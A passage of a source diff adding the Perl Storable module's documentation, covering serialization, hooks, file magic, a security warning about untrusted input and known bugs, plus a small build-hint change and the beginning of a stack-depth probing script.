+__END__
+
+=head1 NAME
+
+Storable - persistence for Perl data structures
+
+=head1 SYNOPSIS
+
+ use Storable;
+ store \%table, 'file';
+ $hashref = retrieve('file');
+
+ use Storable qw(nstore store_fd nstore_fd freeze thaw dclone);
+
+ # Network order
+ nstore \%table, 'file';
+ $hashref = retrieve('file'); # There is NO nretrieve()
+
+ # Storing to and retrieving from an already opened file
+ store_fd \@array, \*STDOUT;
+ nstore_fd \%table, \*STDOUT;
+ $aryref = fd_retrieve(\*SOCKET);
+ $hashref = fd_retrieve(\*SOCKET);
+
+ # Serializing to memory
+ $serialized = freeze \%table;
+ %table_clone = %{ thaw($serialized) };
+
+ # Deep (recursive) cloning
+ $cloneref = dclone($ref);
+
+ # Advisory locking
+ use Storable qw(lock_store lock_nstore lock_retrieve)
+ lock_store \%table, 'file';
+ lock_nstore \%table, 'file';
+ $hashref = lock_retrieve('file');
+
+=head1 DESCRIPTION
+
+The Storable package brings persistence to your Perl data structures
+containing SCALAR, ARRAY, HASH or REF objects, i.e. anything that can be
+conveniently stored to disk and retrieved at a later time.
+
+It can be used in the regular procedural way by calling C<store> with
+a reference to the object to be stored, along with the file name where
+the image should be written.
+
+The routine returns C<undef> for I/O problems or other internal error,
+a true value otherwise. Serious errors are propagated as a C<die> exception.
+
+To retrieve data stored to disk, use C<retrieve> with a file name.
+The objects stored into that file are recreated into memory for you,
+and a I<reference> to the root object is returned. In case an I/O error
+occurs while reading, C<undef> is returned instead. Other serious
+errors are propagated via C<die>.
+
+Since storage is performed recursively, you might want to stuff references
+to objects that share a lot of common data into a single array or hash
+table, and then store that object. That way, when you retrieve back the
+whole thing, the objects will continue to share what they originally shared.
+
+At the cost of a slight header overhead, you may store to an already
+opened file descriptor using the C<store_fd> routine, and retrieve
+from a file via C<fd_retrieve>. Those names aren't imported by default,
+so you will have to do that explicitly if you need those routines.
+The file descriptor you supply must be already opened, for read
+if you're going to retrieve and for write if you wish to store.
+
+ store_fd(\%table, *STDOUT) || die "can't store to stdout\n";
+ $hashref = fd_retrieve(*STDIN);
+
+You can also store data in network order to allow easy sharing across
+multiple platforms, or when storing on a socket known to be remotely
+connected. The routines to call have an initial C<n> prefix for I<network>,
+as in C<nstore> and C<nstore_fd>. At retrieval time, your data will be
+correctly restored so you don't have to know whether you're restoring
+from native or network ordered data. Double values are stored stringified
+to ensure portability as well, at the slight risk of loosing some precision
+in the last decimals.
+
+When using C<fd_retrieve>, objects are retrieved in sequence, one
+object (i.e. one recursive tree) per associated C<store_fd>.
+
+If you're more from the object-oriented camp, you can inherit from
+Storable and directly store your objects by invoking C<store> as
+a method. The fact that the root of the to-be-stored tree is a
+blessed reference (i.e. an object) is special-cased so that the
+retrieve does not provide a reference to that object but rather the
+blessed object reference itself. (Otherwise, you'd get a reference
+to that blessed object).
+
+=head1 MEMORY STORE
+
+The Storable engine can also store data into a Perl scalar instead, to
+later retrieve them. This is mainly used to freeze a complex structure in
+some safe compact memory place (where it can possibly be sent to another
+process via some IPC, since freezing the structure also serializes it in
+effect). Later on, and maybe somewhere else, you can thaw the Perl scalar
+out and recreate the original complex structure in memory.
+
+Surprisingly, the routines to be called are named C<freeze> and C<thaw>.
+If you wish to send out the frozen scalar to another machine, use
+C<nfreeze> instead to get a portable image.
+
+Note that freezing an object structure and immediately thawing it
+actually achieves a deep cloning of that structure:
+
+ dclone(.) = thaw(freeze(.))
+
+Storable provides you with a C<dclone> interface which does not create
+that intermediary scalar but instead freezes the structure in some
+internal memory space and then immediately thaws it out.
+
+=head1 ADVISORY LOCKING
+
+The C<lock_store> and C<lock_nstore> routine are equivalent to
+C<store> and C<nstore>, except that they get an exclusive lock on
+the file before writing. Likewise, C<lock_retrieve> does the same
+as C<retrieve>, but also gets a shared lock on the file before reading.
+
+As with any advisory locking scheme, the protection only works if you
+systematically use C<lock_store> and C<lock_retrieve>. If one side of
+your application uses C<store> whilst the other uses C<lock_retrieve>,
+you will get no protection at all.
+
+The internal advisory locking is implemented using Perl's flock()
+routine. If your system does not support any form of flock(), or if
+you share your files across NFS, you might wish to use other forms
+of locking by using modules such as LockFile::Simple which lock a
+file using a filesystem entry, instead of locking the file descriptor.
+
+=head1 SPEED
+
+The heart of Storable is written in C for decent speed. Extra low-level
+optimizations have been made when manipulating perl internals, to
+sacrifice encapsulation for the benefit of greater speed.
+
+=head1 CANONICAL REPRESENTATION
+
+Normally, Storable stores elements of hashes in the order they are
+stored internally by Perl, i.e. pseudo-randomly. If you set
+C<$Storable::canonical> to some C<TRUE> value, Storable will store
+hashes with the elements sorted by their key. This allows you to
+compare data structures by comparing their frozen representations (or
+even the compressed frozen representations), which can be useful for
+creating lookup tables for complicated queries.
+
+Canonical order does not imply network order; those are two orthogonal
+settings.
+
+=head1 CODE REFERENCES
+
+Since Storable version 2.05, CODE references may be serialized with
+the help of L<B::Deparse>. To enable this feature, set
+C<$Storable::Deparse> to a true value. To enable deserialization,
+C<$Storable::Eval> should be set to a true value. Be aware that
+deserialization is done through C<eval>, which is dangerous if the
+Storable file contains malicious data. You can set C<$Storable::Eval>
+to a subroutine reference which would be used instead of C<eval>. See
+below for an example using a L<Safe> compartment for deserialization
+of CODE references.
+
+If C<$Storable::Deparse> and/or C<$Storable::Eval> are set to false
+values, then the value of C<$Storable::forgive_me> (see below) is
+respected while serializing and deserializing.
+
+=head1 FORWARD COMPATIBILITY
+
+This release of Storable can be used on a newer version of Perl to
+serialize data which is not supported by earlier Perls. By default,
+Storable will attempt to do the right thing, by C<croak()>ing if it
+encounters data that it cannot deserialize. However, the defaults
+can be changed as follows:
+
+=over 4
+
+=item utf8 data
+
+Perl 5.6 added support for Unicode characters with code points > 255,
+and Perl 5.8 has full support for Unicode characters in hash keys.
+Perl internally encodes strings with these characters using utf8, and
+Storable serializes them as utf8. By default, if an older version of
+Perl encounters a utf8 value it cannot represent, it will C<croak()>.
+To change this behaviour so that Storable deserializes utf8 encoded
+values as the string of bytes (effectively dropping the I<is_utf8> flag)
+set C<$Storable::drop_utf8> to some C<TRUE> value. This is a form of
+data loss, because with C<$drop_utf8> true, it becomes impossible to tell
+whether the original data was the Unicode string, or a series of bytes
+that happen to be valid utf8.
+
+=item restricted hashes
+
+Perl 5.8 adds support for restricted hashes, which have keys
+restricted to a given set, and can have values locked to be read only.
+By default, when Storable encounters a restricted hash on a perl
+that doesn't support them, it will deserialize it as a normal hash,
+silently discarding any placeholder keys and leaving the keys and
+all values unlocked. To make Storable C<croak()> instead, set
+C<$Storable::downgrade_restricted> to a C<FALSE> value. To restore
+the default set it back to some C<TRUE> value.
+
+The cperl PERL_PERTURB_KEYS_TOP hash strategy has a known problem with
+restricted hashes.
+
+=item huge objects
+
+On 64bit systems some data structures may exceed the 2G (i.e. I32_MAX)
+limit. On 32bit systems also strings between I32 and U32 (2G-4G).
+Since Storable 3.00 (not in perl5 core) we are able to store and
+retrieve these objects, even if perl5 itself is not able to handle
+them. These are strings longer then 4G, arrays with more then 2G
+elements and hashes with more then 2G elements. cperl forbids hashes
+with more than 2G elements, but this fail in cperl then. perl5 itself
+at least until 5.26 allows it, but cannot iterate over them.
+Note that creating those objects might cause out of memory
+exceptions by the operating system before perl has a chance to abort.
+
+=item files from future versions of Storable
+
+Earlier versions of Storable would immediately croak if they encountered
+a file with a higher internal version number than the reading Storable
+knew about. Internal version numbers are increased each time new data
+types (such as restricted hashes) are added to the vocabulary of the file
+format. This meant that a newer Storable module had no way of writing a
+file readable by an older Storable, even if the writer didn't store newer
+data types.
+
+This version of Storable will defer croaking until it encounters a data
+type in the file that it does not recognize. This means that it will
+continue to read files generated by newer Storable modules which are careful
+in what they write out, making it easier to upgrade Storable modules in a
+mixed environment.
+
+The old behaviour of immediate croaking can be re-instated by setting
+C<$Storable::accept_future_minor> to some C<FALSE> value.
+
+=back
+
+All these variables have no effect on a newer Perl which supports the
+relevant feature.
+
+=head1 ERROR REPORTING
+
+Storable uses the "exception" paradigm, in that it does not try to
+workaround failures: if something bad happens, an exception is
+generated from the caller's perspective (see L<Carp> and C<croak()>).
+Use eval {} to trap those exceptions.
+
+When Storable croaks, it tries to report the error via the C<logcroak()>
+routine from the C<Log::Agent> package, if it is available.
+
+Normal errors are reported by having store() or retrieve() return C<undef>.
+Such errors are usually I/O errors (or truncated stream errors at retrieval).
+
+When Storable throws the "Max. recursion depth with nested structures
+exceeded" error we are already out of stack space. Unfortunately on
+some earlier perl versions cleaning up a recursive data structure
+recurses into the free calls, which will lead to stack overflows in
+the cleanup. This data structure is not properly cleaned up then, it
+will only be destroyed during global destruction.
+
+=head1 WIZARDS ONLY
+
+=head2 Hooks
+
+Any class may define hooks that will be called during the serialization
+and deserialization process on objects that are instances of that class.
+Those hooks can redefine the way serialization is performed (and therefore,
+how the symmetrical deserialization should be conducted).
+
+Since we said earlier:
+
+ dclone(.) = thaw(freeze(.))
+
+everything we say about hooks should also hold for deep cloning. However,
+hooks get to know whether the operation is a mere serialization, or a cloning.
+
+Therefore, when serializing hooks are involved,
+
+ dclone(.) <> thaw(freeze(.))
+
+Well, you could keep them in sync, but there's no guarantee it will always
+hold on classes somebody else wrote. Besides, there is little to gain in
+doing so: a serializing hook could keep only one attribute of an object,
+which is probably not what should happen during a deep cloning of that
+same object.
+
+Here is the hooking interface:
+
+=over 4
+
+=item C<STORABLE_freeze> I<obj>, I<cloning>
+
+The serializing hook, called on the object during serialization. It can be
+inherited, or defined in the class itself, like any other method.
+
+Arguments: I<obj> is the object to serialize, I<cloning> is a flag indicating
+whether we're in a dclone() or a regular serialization via store() or freeze().
+
+Returned value: A LIST C<($serialized, $ref1, $ref2, ...)> where $serialized
+is the serialized form to be used, and the optional $ref1, $ref2, etc... are
+extra references that you wish to let the Storable engine serialize.
+
+At deserialization time, you will be given back the same LIST, but all the
+extra references will be pointing into the deserialized structure.
+
+The B<first time> the hook is hit in a serialization flow, you may have it
+return an empty list. That will signal the Storable engine to further
+discard that hook for this class and to therefore revert to the default
+serialization of the underlying Perl data. The hook will again be normally
+processed in the next serialization.
+
+Unless you know better, serializing hook should always say:
+
+ sub STORABLE_freeze {
+ my ($self, $cloning) = @_;
+ return if $cloning; # Regular default serialization
+ ....
+ }
+
+in order to keep reasonable dclone() semantics.
+
+=item C<STORABLE_thaw> I<obj>, I<cloning>, I<serialized>, ...
+
+The deserializing hook called on the object during deserialization.
+But wait: if we're deserializing, there's no object yet... right?
+
+Wrong: the Storable engine creates an empty one for you. If you know Eiffel,
+you can view C<STORABLE_thaw> as an alternate creation routine.
+
+This means the hook can be inherited like any other method, and that
+I<obj> is your blessed reference for this particular instance.
+
+The other arguments should look familiar if you know C<STORABLE_freeze>:
+I<cloning> is true when we're part of a deep clone operation, I<serialized>
+is the serialized string you returned to the engine in C<STORABLE_freeze>,
+and there may be an optional list of references, in the same order you gave
+them at serialization time, pointing to the deserialized objects (which
+have been processed courtesy of the Storable engine).
+
+When the Storable engine does not find any C<STORABLE_thaw> hook routine,
+it tries to load the class by requiring the package dynamically (using
+the blessed package name), and then re-attempts the lookup. If at that
+time the hook cannot be located, the engine croaks. Note that this mechanism
+will fail if you define several classes in the same file, but L<perlmod>
+warned you.
+
+It is up to you to use this information to populate I<obj> the way you want.
+
+Returned value: none.
+
+=item C<STORABLE_attach> I<class>, I<cloning>, I<serialized>
+
+While C<STORABLE_freeze> and C<STORABLE_thaw> are useful for classes where
+each instance is independent, this mechanism has difficulty (or is
+incompatible) with objects that exist as common process-level or
+system-level resources, such as singleton objects, database pools, caches
+or memoized objects.
+
+The alternative C<STORABLE_attach> method provides a solution for these
+shared objects. Instead of C<STORABLE_freeze> --E<gt> C<STORABLE_thaw>,
+you implement C<STORABLE_freeze> --E<gt> C<STORABLE_attach> instead.
+
+Arguments: I<class> is the class we are attaching to, I<cloning> is a flag
+indicating whether we're in a dclone() or a regular de-serialization via
+thaw(), and I<serialized> is the stored string for the resource object.
+
+Because these resource objects are considered to be owned by the entire
+process/system, and not the "property" of whatever is being serialized,
+no references underneath the object should be included in the serialized
+string. Thus, in any class that implements C<STORABLE_attach>, the
+C<STORABLE_freeze> method cannot return any references, and C<Storable>
+will throw an error if C<STORABLE_freeze> tries to return references.
+
+All information required to "attach" back to the shared resource object
+B<must> be contained B<only> in the C<STORABLE_freeze> return string.
+Otherwise, C<STORABLE_freeze> behaves as normal for C<STORABLE_attach>
+classes.
+
+Because C<STORABLE_attach> is passed the class (rather than an object),
+it also returns the object directly, rather than modifying the passed
+object.
+
+Returned value: object of type C<class>
+
+=back
+
+=head2 Predicates
+
+Predicates are not exportable. They must be called by explicitly prefixing
+them with the Storable package name.
+
+=over 4
+
+=item C<Storable::last_op_in_netorder>
+
+The C<Storable::last_op_in_netorder()> predicate will tell you whether
+network order was used in the last store or retrieve operation. If you
+don't know how to use this, just forget about it.
+
+=item C<Storable::is_storing>
+
+Returns true if within a store operation (via STORABLE_freeze hook).
+
+=item C<Storable::is_retrieving>
+
+Returns true if within a retrieve operation (via STORABLE_thaw hook).
+
+=back
+
+=head2 Recursion
+
+With hooks comes the ability to recurse back to the Storable engine.
+Indeed, hooks are regular Perl code, and Storable is convenient when
+it comes to serializing and deserializing things, so why not use it
+to handle the serialization string?
+
+There are a few things you need to know, however:
+
+=over 4
+
+=item *
+
+Since Storable 3.05 we probe for the stack recursion limit for references,
+arrays and hashes to a maximal depth of ~1200-35000, otherwise we might
+fall into a stack-overflow. On JSON::XS this limit is 512 btw. With
+references not immediately referencing each other there's no such
+limit yet, so you might fall into such a stack-overflow segfault.
+
+This probing and the checks performed have some limitations:
+
+=over
+
+=item *
+
+the stack size at build time might be different at run time, eg. the
+stack size may have been modified with ulimit(1). If it's larger at
+run time Storable may fail the freeze() or thaw() unnecessarily.
+
+=item *
+
+the stack size might be different in a thread.
+
+=item *
+
+array and hash recursion limits are checked separately against the
+same recursion depth, a frozen structure with a large sequence of
+nested arrays within many nested hashes may exhaust the processor
+stack without triggering Storable's recursion protection.
+
+=back
+
+You can control the maximum array and hash recursion depths by
+modifying C<$Storable::recursion_limit> and
+C<$Storable::recursion_limit_hash> respectively. Either can be set to
+C<-1> to prevent any depth checks, though this isn't recommended.
+
+=item *
+
+You can create endless loops if the things you serialize via freeze()
+(for instance) point back to the object we're trying to serialize in
+the hook.
+
+=item *
+
+Shared references among objects will not stay shared: if we're serializing
+the list of object [A, C] where both object A and C refer to the SAME object
+B, and if there is a serializing hook in A that says freeze(B), then when
+deserializing, we'll get [A', C'] where A' refers to B', but C' refers to D,
+a deep clone of B'. The topology was not preserved.
+
+=item *
+
+The maximal stack recursion limit for your system is returned by
+C<stack_depth()> and C<stack_depth_hash()>. The hash limit is usually
+half the size of the array and ref limit, as the Perl hash API is not optimal.
+
+=back
+
+That's why C<STORABLE_freeze> lets you provide a list of references
+to serialize. The engine guarantees that those will be serialized in the
+same context as the other objects, and therefore that shared objects will
+stay shared.
+
+In the above [A, C] example, the C<STORABLE_freeze> hook could return:
+
+ ("something", $self->{B})
+
+and the B part would be serialized by the engine. In C<STORABLE_thaw>, you
+would get back the reference to the B' object, deserialized for you.
+
+Therefore, recursion should normally be avoided, but is nonetheless supported.
+
+=head2 Deep Cloning
+
+There is a Clone module available on CPAN which implements deep cloning
+natively, i.e. without freezing to memory and thawing the result. It is
+aimed to replace Storable's dclone() some day. However, it does not currently
+support Storable hooks to redefine the way deep cloning is performed.
+
+=head1 Storable magic
+
+Yes, there's a lot of that :-) But more precisely, in UNIX systems
+there's a utility called C<file>, which recognizes data files based on
+their contents (usually their first few bytes). For this to work,
+a certain file called F<magic> needs to taught about the I<signature>
+of the data. Where that configuration file lives depends on the UNIX
+flavour; often it's something like F</usr/share/misc/magic> or
+F</etc/magic>. Your system administrator needs to do the updating of
+the F<magic> file. The necessary signature information is output to
+STDOUT by invoking Storable::show_file_magic(). Note that the GNU
+implementation of the C<file> utility, version 3.38 or later,
+is expected to contain support for recognising Storable files
+out-of-the-box, in addition to other kinds of Perl files.
+
+You can also use the following functions to extract the file header
+information from Storable images:
+
+=over
+
+=item $info = Storable::file_magic( $filename )
+
+If the given file is a Storable image return a hash describing it. If
+the file is readable, but not a Storable image return C<undef>. If
+the file does not exist or is unreadable then croak.
+
+The hash returned has the following elements:
+
+=over
+
+=item C<version>
+
+This returns the file format version. It is a string like "2.7".
+
+Note that this version number is not the same as the version number of
+the Storable module itself. For instance Storable v0.7 create files
+in format v2.0 and Storable v2.15 create files in format v2.7. The
+file format version number only increment when additional features
+that would confuse older versions of the module are added.
+
+Files older than v2.0 will have the one of the version numbers "-1",
+"0" or "1". No minor number was used at that time.
+
+=item C<version_nv>
+
+This returns the file format version as number. It is a string like
+"2.007". This value is suitable for numeric comparisons.
+
+The constant function C<Storable::BIN_VERSION_NV> returns a comparable
+number that represents the highest file version number that this
+version of Storable fully supports (but see discussion of
+C<$Storable::accept_future_minor> above). The constant
+C<Storable::BIN_WRITE_VERSION_NV> function returns what file version
+is written and might be less than C<Storable::BIN_VERSION_NV> in some
+configurations.
+
+=item C<major>, C<minor>
+
+This also returns the file format version. If the version is "2.7"
+then major would be 2 and minor would be 7. The minor element is
+missing for when major is less than 2.
+
+=item C<hdrsize>
+
+The is the number of bytes that the Storable header occupies.
+
+=item C<netorder>
+
+This is TRUE if the image store data in network order. This means
+that it was created with nstore() or similar.
+
+=item C<byteorder>
+
+This is only present when C<netorder> is FALSE. It is the
+$Config{byteorder} string of the perl that created this image. It is
+a string like "1234" (32 bit little endian) or "87654321" (64 bit big
+endian). This must match the current perl for the image to be
+readable by Storable.
+
+=item C<intsize>, C<longsize>, C<ptrsize>, C<nvsize>
+
+These are only present when C<netorder> is FALSE. These are the sizes of
+various C datatypes of the perl that created this image. These must
+match the current perl for the image to be readable by Storable.
+
+The C<nvsize> element is only present for file format v2.2 and
+higher.
+
+=item C<file>
+
+The name of the file.
+
+=back
+
+=item $info = Storable::read_magic( $buffer )
+
+=item $info = Storable::read_magic( $buffer, $must_be_file )
+
+The $buffer should be a Storable image or the first few bytes of it.
+If $buffer starts with a Storable header, then a hash describing the
+image is returned, otherwise C<undef> is returned.
+
+The hash has the same structure as the one returned by
+Storable::file_magic(). The C<file> element is true if the image is a
+file image.
+
+If the $must_be_file argument is provided and is TRUE, then return
+C<undef> unless the image looks like it belongs to a file dump.
+
+The maximum size of a Storable header is currently 21 bytes. If the
+provided $buffer is only the first part of a Storable image it should
+at least be this long to ensure that read_magic() will recognize it as
+such.
+
+=back
+
+=head1 EXAMPLES
+
+Here are some code samples showing a possible usage of Storable:
+
+ use Storable qw(store retrieve freeze thaw dclone);
+
+ %color = ('Blue' => 0.1, 'Red' => 0.8, 'Black' => 0, 'White' => 1);
+
+ store(\%color, 'mycolors') or die "Can't store %a in mycolors!\n";
+
+ $colref = retrieve('mycolors');
+ die "Unable to retrieve from mycolors!\n" unless defined $colref;
+ printf "Blue is still %lf\n", $colref->{'Blue'};
+
+ $colref2 = dclone(\%color);
+
+ $str = freeze(\%color);
+ printf "Serialization of %%color is %d bytes long.\n", length($str);
+ $colref3 = thaw($str);
+
+which prints (on my machine):
+
+ Blue is still 0.100000
+ Serialization of %color is 102 bytes long.
+
+Serialization of CODE references and deserialization in a safe
+compartment:
+
+=for example begin
+
+ use Storable qw(freeze thaw);
+ use Safe;
+ use strict;
+ my $safe = new Safe;
+ # because of opcodes used in "use strict":
+ $safe->permit(qw(:default require));
+ local $Storable::Deparse = 1;
+ local $Storable::Eval = sub { $safe->reval($_[0]) };
+ my $serialized = freeze(sub { 42 });
+ my $code = thaw($serialized);
+ $code->() == 42;
+
+=for example end
+
+=for example_testing
+ is( $code->(), 42 );
+
+=head1 SECURITY WARNING
+
+B<Do not accept Storable documents from untrusted sources!>
+
+Some features of Storable can lead to security vulnerabilities if you
+accept Storable documents from untrusted sources with the default
+flags. Most obviously, the optional (off by default) CODE reference
+serialization feature allows transfer of code to the deserializing
+process. Furthermore, any serialized object will cause Storable to
+helpfully load the module corresponding to the class of the object in
+the deserializing module. For manipulated module names, this can load
+almost arbitrary code. Finally, the deserialized object's destructors
+will be invoked when the objects get destroyed in the deserializing
+process. Maliciously crafted Storable documents may put such objects
+in the value of a hash key that is overridden by another key/value
+pair in the same hash, thus causing immediate destructor execution.
+
+To disable blessing objects while thawing/retrieving remove the flag
+C<BLESS_OK> = 2 from C<$Storable::flags> or set the 2nd argument for
+thaw/retrieve to 0.
+
+To disable tieing data while thawing/retrieving remove the flag C<TIE_OK>
+= 4 from C<$Storable::flags> or set the 2nd argument for thaw/retrieve
+to 0.
+
+With the default setting of C<$Storable::flags> = 6, creating or destroying
+random objects, even renamed objects can be controlled by an attacker.
+See CVE-2015-1592 and its metasploit module.
+
+If your application requires accepting data from untrusted sources,
+you are best off with a less powerful and more-likely safe
+serialization format and implementation. If your data is sufficiently
+simple, Cpanel::JSON::XS, Data::MessagePack or Serial are the best
+choices and offers maximum interoperability, but note that Serial is
+unsafe by default.
+
+=head1 WARNING
+
+If you're using references as keys within your hash tables, you're bound
+to be disappointed when retrieving your data. Indeed, Perl stringifies
+references used as hash table keys. If you later wish to access the
+items via another reference stringification (i.e. using the same
+reference that was used for the key originally to record the value into
+the hash table), it will work because both references stringify to the
+same string.
+
+It won't work across a sequence of C<store> and C<retrieve> operations,
+however, because the addresses in the retrieved objects, which are
+part of the stringified references, will probably differ from the
+original addresses. The topology of your structure is preserved,
+but not hidden semantics like those.
+
+On platforms where it matters, be sure to call C<binmode()> on the
+descriptors that you pass to Storable functions.
+
+Storing data canonically that contains large hashes can be
+significantly slower than storing the same data normally, as
+temporary arrays to hold the keys for each hash have to be allocated,
+populated, sorted and freed. Some tests have shown a halving of the
+speed of storing -- the exact penalty will depend on the complexity of
+your data. There is no slowdown on retrieval.
+
+=head1 REGULAR EXPRESSIONS
+
+Storable now has experimental support for storing regular expressions,
+but there are significant limitations:
+
+=over
+
+=item *
+
+perl 5.8 or later is required.
+
+=item *
+
+regular expressions with code blocks, ie C</(?{ ... })/> or C</(??{
+... })/> will throw an exception when thawed.
+
+=item *
+
+regular expression syntax and flags have changed over the history of
+perl, so a regular expression that you freeze in one version of perl
+may fail to thaw or behave differently in another version of perl.
+
+=item *
+
+depending on the version of perl, regular expressions can change in
+behaviour depending on the context, but later perls will bake that
+behaviour into the regexp.
+
+=back
+
+Storable will throw an exception if a frozen regular expression cannot
+be thawed.
+
+=head1 BUGS
+
+You can't store GLOB, FORMLINE, etc.... If you can define semantics
+for those operations, feel free to enhance Storable so that it can
+deal with them.
+
+The store functions will C<croak> if they run into such references
+unless you set C<$Storable::forgive_me> to some C<TRUE> value. In that
+case, the fatal message is converted to a warning and some meaningless
+string is stored instead.
+
+Setting C<$Storable::canonical> may not yield frozen strings that
+compare equal due to possible stringification of numbers. When the
+string version of a scalar exists, it is the form stored; therefore,
+if you happen to use your numbers as strings between two freezing
+operations on the same data structures, you will get different
+results.
+
+When storing doubles in network order, their value is stored as text.
+However, you should also not expect non-numeric floating-point values
+such as infinity and "not a number" to pass successfully through a
+nstore()/retrieve() pair.
+
+As Storable neither knows nor cares about character sets (although it
+does know that characters may be more than eight bits wide), any difference
+in the interpretation of character codes between a host and a target
+system is your problem. In particular, if host and target use different
+code points to represent the characters used in the text representation
+of floating-point numbers, you will not be able be able to exchange
+floating-point data, even with nstore().
+
+C<Storable::drop_utf8> is a blunt tool. There is no facility either to
+return B<all> strings as utf8 sequences, or to attempt to convert utf8
+data back to 8 bit and C<croak()> if the conversion fails.
+
+Prior to Storable 2.01, no distinction was made between signed and
+unsigned integers on storing. By default Storable prefers to store a
+scalars string representation (if it has one) so this would only cause
+problems when storing large unsigned integers that had never been converted
+to string or floating point. In other words values that had been generated
+by integer operations such as logic ops and then not used in any string or
+arithmetic context before storing.
+
+=head2 64 bit data in perl 5.6.0 and 5.6.1
+
+This section only applies to you if you have existing data written out
+by Storable 2.02 or earlier on perl 5.6.0 or 5.6.1 on Unix or Linux which
+has been configured with 64 bit integer support (not the default)
+If you got a precompiled perl, rather than running Configure to build
+your own perl from source, then it almost certainly does not affect you,
+and you can stop reading now (unless you're curious). If you're using perl
+on Windows it does not affect you.
+
+Storable writes a file header which contains the sizes of various C
+language types for the C compiler that built Storable (when not writing in
+network order), and will refuse to load files written by a Storable not
+on the same (or compatible) architecture. This check and a check on
+machine byteorder is needed because the size of various fields in the file
+are given by the sizes of the C language types, and so files written on
+different architectures are incompatible. This is done for increased speed.
+(When writing in network order, all fields are written out as standard
+lengths, which allows full interworking, but takes longer to read and write)
+
+Perl 5.6.x introduced the ability to optional configure the perl interpreter
+to use C's C<long long> type to allow scalars to store 64 bit integers on 32
+bit systems. However, due to the way the Perl configuration system
+generated the C configuration files on non-Windows platforms, and the way
+Storable generates its header, nothing in the Storable file header reflected
+whether the perl writing was using 32 or 64 bit integers, despite the fact
+that Storable was storing some data differently in the file. Hence Storable
+running on perl with 64 bit integers will read the header from a file
+written by a 32 bit perl, not realise that the data is actually in a subtly
+incompatible format, and then go horribly wrong (possibly crashing) if it
+encountered a stored integer. This is a design failure.
+
+Storable has now been changed to write out and read in a file header with
+information about the size of integers. It's impossible to detect whether
+an old file being read in was written with 32 or 64 bit integers (they have
+the same header) so it's impossible to automatically switch to a correct
+backwards compatibility mode. Hence this Storable defaults to the new,
+correct behaviour.
+
+What this means is that if you have data written by Storable 1.x running
+on perl 5.6.0 or 5.6.1 configured with 64 bit integers on Unix or Linux
+then by default this Storable will refuse to read it, giving the error
+I<Byte order is not compatible>. If you have such data then you
+should set C<$Storable::interwork_56_64bit> to a true value to make this
+Storable read and write files with the old header. You should also
+migrate your data, or any older perl you are communicating with, to this
+current version of Storable.
+
+If you don't have data written with specific configuration of perl described
+above, then you do not and should not do anything. Don't set the flag -
+not only will Storable on an identically configured perl refuse to load them,
+but Storable a differently configured perl will load them believing them
+to be correct for it, and then may well fail or crash part way through
+reading them.
+
+=head1 CREDITS
+
+Thank you to (in chronological order):
+
+ Jarkko Hietaniemi <jhi@iki.fi>
+ Ulrich Pfeifer <pfeifer@charly.informatik.uni-dortmund.de>
+ Benjamin A. Holzman <bholzman@earthlink.net>
+ Andrew Ford <A.Ford@ford-mason.co.uk>
+ Gisle Aas <gisle@aas.no>
+ Jeff Gresham <gresham_jeffrey@jpmorgan.com>
+ Murray Nesbitt <murray@activestate.com>
+ Marc Lehmann <pcg@opengroup.org>
+ Justin Banks <justinb@wamnet.com>
+ Jarkko Hietaniemi <jhi@iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+ Salvador Ortiz Garcia <sog@msg.com.mx>
+ Dominic Dunlop <domo@computer.org>
+ Erik Haugan <erik@solbors.no>
+ Benjamin A. Holzman <ben.holzman@grantstreet.com>
+ Reini Urban <rurban@cpan.org>
+ Todd Rinaldo <toddr@cpanel.net>
+ Aaron Crane <arc@cpan.org>
+
+for their bug reports, suggestions and contributions.
+
+Benjamin Holzman contributed the tied variable support, Andrew Ford
+contributed the canonical order for hashes, and Gisle Aas fixed
+a few misunderstandings of mine regarding the perl internals,
+and optimized the emission of "tags" in the output streams by
+simply counting the objects instead of tagging them (leading to
+a binary incompatibility for the Storable image starting at version
+0.6--older images are, of course, still properly understood).
+Murray Nesbitt made Storable thread-safe. Marc Lehmann added overloading
+and references to tied items support. Benjamin Holzman added a performance
+improvement for overloaded classes; thanks to Grant Street Group for footing
+the bill.
+Reini Urban took over maintainance from p5p, and added security fixes
+and huge object support.
+
+=head1 AUTHOR
+
+Storable was written by Raphael Manfredi
+F<E<lt>Raphael_Manfredi@pobox.comE<gt>>
+Maintenance is now done by cperl L<http://perl11.org/cperl>
+
+Please e-mail us with problems, bug fixes, comments and complaints,
+although if you have compliments you should send them to Raphael.
+Please don't e-mail Raphael with problems, as he no longer works on
+Storable, and your message will be delayed while he forwards it to us.
+
+=head1 SEE ALSO
+
+L<Clone>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Storable/hints/linux.pl b/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
index 0c7d5e35a9f..f6cc0fa2b50 100644
--- a/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
+++ b/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
@@ -6,9 +6,10 @@
# 20011002 and 3.3, and in Redhat 7.1 with gcc 3.3.1. The failures
# happen only for unthreaded builds, threaded builds work okay.
use Config;
-if ($Config{gccversion}) {
+if ($Config{gccversion} and !$Config{usethreads}) {
my $optimize = $Config{optimize};
- if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/) {
+ # works fine with gcc 4 or clang
+ if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/ and $Config{gccversion} =~ /^[23]\./) {
$self->{OPTIMIZE} = $optimize;
}
}
diff --git a/gnu/usr.bin/perl/dist/Storable/stacksize b/gnu/usr.bin/perl/dist/Storable/stacksize
new file mode 100644
index 00000000000..7abd3a84cc0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/stacksize
@@ -0,0 +1,232 @@
+#!/usr/bin/perl
+# binary search maximum stack depth for arrays and hashes
+# and store it in lib/Storable/Limit.pm
+
+use Config;
+use Cwd;
+use File::Spec;
+use strict;
+
+my $fn = "lib/Storable/Limit.pm";
+my $ptrsize = $Config{ptrsize};
+my ($bad1, $bad2) = (65001, 25000);
+sub QUIET () {
+ (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/
+ and !defined($ENV{TRAVIS}))
+ ? 1 : 0
+}
+sub PARALLEL () {
+ if (defined $ENV{MAKEFLAGS}
+ and $ENV{MAKEFLAGS} =~ /\bj\s*(\d+)\b/
+ and $1 > 1) {
+ return 1;
+ } else {
+ return 0;
+ }
+}
+sub is_miniperl {
